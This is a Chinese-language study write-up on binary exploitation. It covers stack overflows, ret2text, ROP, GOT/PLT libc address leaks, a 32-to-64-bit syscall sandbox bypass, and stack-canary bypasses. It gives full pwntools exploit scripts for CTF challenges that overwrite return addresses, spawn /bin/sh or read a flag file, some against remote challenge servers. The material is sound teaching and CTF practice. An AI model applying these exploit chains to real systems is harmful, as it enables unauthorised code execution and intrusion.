栈
栈是一种特殊的线性表,仅能在线性表的一端操作,栈顶允许操作,栈底不允许操作,先进后出。栈顶放入元素的操作称为入栈,取出元素称为出栈。
系统栈
内存中的栈,由系统自动维护,用于实现高级语言中的函数调用。
程序的栈是从进程地址空间的高地址向低地址增长的,高地址是栈底,低地址是栈顶
参数入栈:将参数从右向左依次压入系统栈
返回地址入栈:将当前代码区调用的下一条指令地址压入栈中,供函数返回时继续执行。
代码区跳转:处理器从当前代码区跳到被执行函数入口。
栈帧调整:
参数值放入内存
保存返回值(通常保存在%eax中)
降低栈顶,回收当前栈帧的空间(mov %ebp, %esp)
之前保存的ebp弹入%ebp(pop %ebp),恢复上一个栈帧
返回地址弹入%eip(ret)
程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变
通过覆盖地址的方法来直接或者间接地控制程序执行流程。
寻找危险函数
确定填充长度
计算要操作的地址与要覆盖的地址的距离
CSAPP-Buffer LabLevel0: Candle
CSAPP-Buffer Lab-Level1: Sparkler
[XMAN]level0
fgets处可以溢出
存在system函数,没有/bin/sh ,需要写入/bin/sh
第一个fget写入bss段,可以通过这个fget写入/bin/sh
通过第二个fget覆盖返回地址,但是n = 10,缓冲区只有10字节
查看n,发现可以通过数组A越界覆盖n,控制缓冲区的大小
在第一个fget先填充A,再修改n的值,然后写入/bin/sh
s与返回地址的距离为0x30+0x4,填充0x34个字节,然后将返回地址修改为system,写入一个无效地址作为system的返回地址,再写入system的参数/bin/sh,此时栈状态为
… |
---|
0x0804A0AC(/bin/sh) |
0xdeadbeef |
0x80483F0(system) |
… |
返回到system是直接执行system而不是调用system
根据调用函数的步骤,参数入栈,然后返回地址入栈,再跳转到被执行函数入口,此时已经跳转到system的入口,参数和返回地址在栈中的顺序也正确,所以可以执行system(“/bin/sh”)
from pwn import *
r = remote('182.254.217.142',10001)
binsh = p32(0x0804A0AC)
system = p32(0x80483F0)
payload1 = 'a'*0x28+p32(0x100)+'/bin/sh'
payload2 = 'a'*0x34+system+p32(0xdeadbeef)+binsh
r.sendline('1')
r.sendline(payload1)
r.sendline(payload2)
r.interactive()
#flag{Naya_chyo_ma_thur_meh_lava_ma_puoru}
没有开启PIE
v5 = 1926可以得到flag,但输入v5后有一个判断,不能直接输入1926
v5 != 1926,进入else,在输入v4时可以利用缓冲区溢出把v5的值修改为1926
可以看出v5和v4的距离是8个字节,gets(&v4)时输入8字节的数据和1926就可以把v5修改为1926
from pwn import *
r = remote("ctf.acdxvfsvd.net",1926)
payload='a'*8 + p32(1926)
r.recvuntil("What\'s Your Birth?\n")
r.sendline("1234")
r.recvuntil("What\'s Your Name?\n")
r.sendline(payload)
r.interactive()
#flag{gets_is_dangerous_+1s}
修改返回地址,让其指向溢出数据中的一段指令
CSAPP-Buffer-Lab-level2-firecracker
XMAN]level1
ROP(Return Oriented Programming) ,在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
控制函数的执行 libc 中的函数
通常执行system("/bin/sh")
.got
Global Offset Table,全局偏移表。这是链接器在执行链接时实际上要填充的部分, 保存了所有外部符号的地址信息
.plt
Procedure Linkage Table,进程链接表
调用链接器来解析某个外部函数的地址,并填充到.got.plt中,然后跳转到该函数,直接在.got.plt中查找并跳转到对应外部函数(如果已经填充过)
.got.plt
相当于.plt的GOT全局偏移表,其内容有两种情况,如果在之前查找过该符号,内容为外部函数的具体地址;如果没查找过,则内容为跳转回.plt的代码,,并执行查找.。
链接阶段是将一个或多个中间文件(.o文件)通过链接器将它们链接成一个可执行文件
如果是在中间文件中已经定义的函数,链接阶段可以直接重定位到函数地址
如果是在动态库中定义的函数,链接阶段无法直接重定位到函数地址,只能生成额外的小片段代码(PLT表),然后重定位到该代码片段
运行后加载动态库,把动态库中的相应函数地址填入GOT表
只有动态库函数在被调用时,才会进行地址解析和重定位工作,这时候动态库函数的地址才会被写入到GOT表项中
调用plt表中有的函数直接ret过去就完事了,如果没有就需要计算函数的真实地址
通过libc基址和函数在libc中的偏移地址可以计算函数的真实地址
已知libc
找到溢出点,溢出后调用一个输出函数(常用puts/write/printf)
func@got
的地址作为参数传入,这样就会打印出该地址的内容也就是func
的真实地址
libc基址加上函数在libc中的偏移地址就是函数的真实地址
也可以通过泄露某个函数的真实地址计算libc基址
libc_base = func_add - func_libc
未知libc
泄露两个函数的地址,通过两个地址的差确定libc版本
控制程序执行系统调用,获取 shell。
Int 0x80系统调用
系统调用号:%eax
参数:%ebx,%ecx,%edx,%esi,%sdi,%ebp
返回值:eax
execve()
int execve(const char * filename,char * const argv[ ],char * const envp[ ]);
gets处可以溢出
利用gadgets绕过NX,考虑调用execve()
调用execve()需要使%eax = 0x80,还需要第一个参数%ebx指向/bin/sh的地址,第二个参数%ecx和第三个参数%edx为0。
找gadgets
#ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
#选择0x080bb196 : pop eax ; ret
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret
#选择0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
找int 0x80和/bin/sh
ROPgadget --binary rop --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc
Unique gadgets found: 4
考虑一下栈的布局
gets执行后,ret到pop_eax_ret执行,把0xb(execve 对应的系统调用号)弹给eax,然后ret到pop_edx_ecx_ebx_ret执行,把0弹给edx,再把0弹给ecx,然后把 /bin/sh 弹给ebx,ret到int 0x80,成功执行execve("/bin/sh", 0, 0)
from pwn import *
p = process('./rop')
padding = 'a' * 0x6c + 'a' * 0x4
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = padding + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
p.sendline(payload)
p.interactive()
沙箱通过过滤系统调用号限制某些函数的使用,而且沙箱会不断的kill新进程
32位和64位系统调用号不同,而且32位进程可以通过修改CS寄存器使用64位系统调用
可以通过64位系统调用绕过沙箱,读取flag
读取需要用到的系统调用
#define __NR_open 2
__SYSCALL(__NR_open, sys_open)
打开flag文件
#define __NR_read 0
__SYSCALL(__NR_read, sys_read)
读取flag
#define __NR_write 1
__SYSCALL(__NR_write, sys_write)
将内容写到终端
#define __NR_exit 60
__SYSCALL(__NR_exit, sys_exit)
open 返回值为文件描述符,第一个参数为文件名,pop_rdi把'flag'传入,第二个参数为flags
#define O_RDONLY 00
#define O_WRONLY 01
#define O_RDWR 02
只需要读flag,所以rsi为0
read 返回值为已读的字节数,第一个参数为文件描述符,第二个参数为数据缓冲区,第三个参数为字节数,执行后将flag读入0x0804a200
write 返回值为已写的字节数,第一个参数为文件描述符,第二个参数为数据缓冲区,第三个参数为字节数。文件描述符设为1(标准输出),可以打印出0x0804a200的内容,也就是flag
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
#r = process(['./vuln'])
r = process(['./sandbox','./vuln'])
elf = ELF('./vuln')
main = 0x0804865B
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
log.info('leak libc')
padding = 'a' * 0x30 + p8(0x48)
payload = padding + p32(puts_plt) + p32(main) + p32(puts_got)
r.sendline(payload)
r.recvline()
puts_addr = u32(r.recv(4))
mprotect = puts_addr + 0x8bb10
system = puts_addr - 0x2a540
'''
log.info('get shell')
payload = padding + p32(read_plt) + p32(main) + p32(0) + p32(0x0804a02c)
r.sendline(payload)
r.sendline('/bin/sh')
payload = padding + p32(system) + p32(main) + p32(0x0804a02c)
r.sendline(payload)
r.interactive()
'''
log.info('mprotect')
#0x08048729 : pop esi ; pop edi ; pop ebp ; ret
ppp_ret = 0x08048729
shellcode_addr = 0x0804a000
payload = padding + p32(mprotect) + p32(ppp_ret) + p32(0x0804a000) + p32(0x1000)+p32(7)
payload += p32(read_plt) + p32(shellcode_addr) + p32(0) + p32(shellcode_addr) + p32(0x100)
r.sendline(payload)
'''
log.info('get shell')
r.sendline(asm(shellcraft.sh()))
r.interactive()
'''
log.info('read flag')
shellcode32 = 'jmp 0x33:0x0804a007'
#len(shellcode32) == 7
shell32 = asm(shellcode32)
#open read write exit
shellcode64 = '''
BITS 64
call cxk
db 'flag', 0
cxk:
pop rdi
xor rsi, rsi
mov rax, 2
syscall
mov rdi, rax
mov rax, 0
mov rsi, 0x0804a200
mov rdx, 0x10
syscall
mov rdx, rax
mov rdi, 1
mov rsi, 0x0804a200
mov rax, 1
syscall
mov rdi, 0
mov rax, 60
syscall
'''
f = open('shell64.asm', 'wb')
f.write(shellcode64)
f.close()
os.popen('nasm -o shell64 shell64.asm')
f = open('shell64', 'rb')
shell64 = f.read()
f.close()
shellcode = shell32 + shell64
r.sendline(shellcode)
r.interactive()
在栈溢出的高位区域尾部插入一个值,若通过栈溢出覆盖返回地址必先覆盖Canary,当函数返回时检测canary的值是否发生改变,以此判断栈溢出是否发生
#include <stdio.h>
int main()
{
char s[10];
gets(&s);
return 0;
}
关闭Canary
gcc -o test -fno-stack-protector test.c
000000000000063a <main>:
63a: 55 push %rbp
63b: 48 89 e5 mov %rsp,%rbp
63e: 48 83 ec 10 sub $0x10,%rsp
642: 48 8d 45 f6 lea -0xa(%rbp),%rax
646: 48 89 c7 mov %rax,%rdi
649: b8 00 00 00 00 mov $0x0,%eax
64e: e8 bd fe ff ff callq 510 <gets@plt>
653: b8 00 00 00 00 mov $0x0,%eax
658: c9 leaveq
659: c3 retq
65a: 66 0f 1f 44 00 00 nopw 0x0(%rax,%rax,1)
开启Canary
gcc -o test -fstack-protector test.c
00000000000006aa <main>:
6aa: 55 push %rbp
6ab: 48 89 e5 mov %rsp,%rbp
6ae: 48 83 ec 20 sub $0x20,%rsp
6b2: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax
6b9: 00 00
6bb: 48 89 45 f8 mov %rax,c
6bf: 31 c0 xor %eax,%eax
6c1: 48 8d 45 ee lea -0x12(%rbp),%rax
6c5: 48 89 c7 mov %rax,%rdi
6c8: b8 00 00 00 00 mov $0x0,%eax
6cd: e8 ae fe ff ff callq 580 <gets@plt>
6d2: b8 00 00 00 00 mov $0x0,%eax
6d7: 48 8b 55 f8 mov -0x8(%rbp),%rdx
6db: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx
6e2: 00 00
6e4: 74 05 je 6eb <main+0x41>
6e6: e8 85 fe ff ff callq 570 <__stack_chk_fail@plt>
6eb: c9 leaveq
6ec: c3 retq
6ed: 0f 1f 00 nopl (%rax)
开启Canary后,函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中-0x8(%rbp)的位置
在函数返回前,将栈中的值取出,与 fs:0x28 的值异或,若为0则正常返回,否则 跳转到__stack_chk_fail@plt
Canary以\x00结尾,若存在合适的输出函数,覆盖Canary最后一个\x00,就可以输出Canary,把这个Canary填到对应的位置就可以绕过
劫持__stack_chk_fail 函数
改GOT表,检测到Canary改变后call __stack_chk_fail@plt,就会跳转到更改后的地址
覆盖TLS
函数返回时栈上的Canary和TLS中的值比较,同时覆盖栈上的Canary和TLS中的Canary可以实现绕过
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).